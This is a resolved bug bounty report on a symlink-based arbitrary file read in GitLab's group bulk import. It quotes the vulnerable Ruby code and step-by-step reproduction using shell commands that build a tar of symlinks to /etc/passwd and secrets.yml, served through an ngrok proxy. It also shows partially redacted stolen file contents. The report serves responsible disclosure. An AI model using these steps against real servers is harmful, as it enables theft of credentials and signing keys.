Arbitrary file read via the bulk imports UploadsPipeline
Critical
G
GitLab
Submitted None
Actions:
Reported by
vakzz
Vulnerability Details
Technical details and impact analysis
### Summary
The bulk imports api does not remove symlinks when untaring the uploads.tar.gz file, allowing arbitrary files to be read and uploaded when importing a group.
When a group has uploads (such as markdown attachments), an `uploads.tar.gz` file will be downloaded and extracted in the `UploadsPipeline`:
https://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L15
```ruby
def extract(context)
download_service(tmp_dir, context).execute
untar_zxf(archive: File.join(tmp_dir, FILENAME), dir: tmp_dir)
upload_file_paths = Dir.glob(File.join(tmp_dir, '**', '*'))
BulkImports::Pipeline::ExtractedData.new(blocked: upload_file_paths)
end
```
Since `untar_zxf` only changes the permissions, any symlinks that are extracted from the tar will remain and be added to the list of file paths. When `load` is called, the symlinks will be followed and used as the content for the new file:
https://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L23
```ruby
def load(context, file_path)
avatar_path = AVATAR_PATTERN.match(file_path)
return save_avatar(file_path) if avatar_path
dynamic_path = file_uploader.extract_dynamic_path(file_path)
return unless dynamic_path
return if File.directory?(file_path)
named_captures = dynamic_path.named_captures.symbolize_keys
UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute
end
```
This can be used to read any file that the git user has read access to such as secrets.yml or other sensitive files.
### Steps to reproduce
1. Create a new group on gitlab.com
1. Create a new milestone and upload a file `passwd` with any content into the description
1. Make note of the upload secret (the 32 byte hash in the path)
1. Run the following commands to make a tar file, using the hash from above
```bash
mkdir ./d3209c811fee407218bff7cb3b4333e6
ln -s /etc/passwd ./d3209c811fee407218bff7cb3b4333e6/passwd
ln -s /srv/gitlab/config/secrets.yml ./d3209c811fee407218bff7cb3b4333e6/secrets.yml
tar cvzf uploads.tar.gz ./d3209c811fee407218bff7cb3b4333e6
```
1. Save the following simple proxy server as `api.py` and run it with `FLASK_APP=api flask run`, this will replace the `uploads.tar.gz` with a custom one: {F1565789}
1. Start [ngrok](https://ngrok.com/) so that it's externally accessible: `ngrok http 5000`
1. Create a new access token at https://gitlab.com/-/profile/personal_access_tokens
1. Create a new group, this time choose import group
1. Enter the https ngrok url and the token you just created
1. Select the group you initially created and choose a new name
1. Once the import has complete, view the milestone and click the passwd link
1. You will see the passwd file from the gitlab server
1. Copy the link and change `passwd` to `secrets.yml` and you should be able to download the secrets file
### Impact
A user with access to import a group on gitlab can read arbitrary files on the gitlab server
### Examples
Example with `passwd` and `secrets.yml` attached:
https://gitlab.com/groups/group_to_import_1/-/milestones/1
https://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/passwd
https://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/secrets.yml
### What is the current *bug* behavior?
Symlinks are not removed or filtered when the `UploadsPipeline` is run for the bulk imports api
### What is the expected *correct* behavior?
Symlinks should be removed similar to the project import
### Relevant logs and/or screenshots
/etc/passwd file:
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-blocked:x:33:33:www-blocked:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
git:x:1000:1000:GitLab,,,:/home/git:/bin/bash
```
/srv/gitlab/config/secrets.yml file:
```yaml
production:
secret_key_base: 1174116b6adee.....
otp_key_base: staging-a680efdeb2e93751f32.....
db_key_base: 1174116b6adee59.....
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEA5RyvCSgBoOGNE03CMcJ9.....
-----END RSA PRIVATE KEY-----
ci_jwt_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvazHHoAHZB5j9RUyq0CEK9.....
-----END RSA PRIVATE KEY-----
### Output of checks
This bug happens on GitLab.com
## Impact
A user with access to import a group on gitlab can read arbitrary files on the gitlab server
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$29000.00
Submitted
Weakness
Path Traversal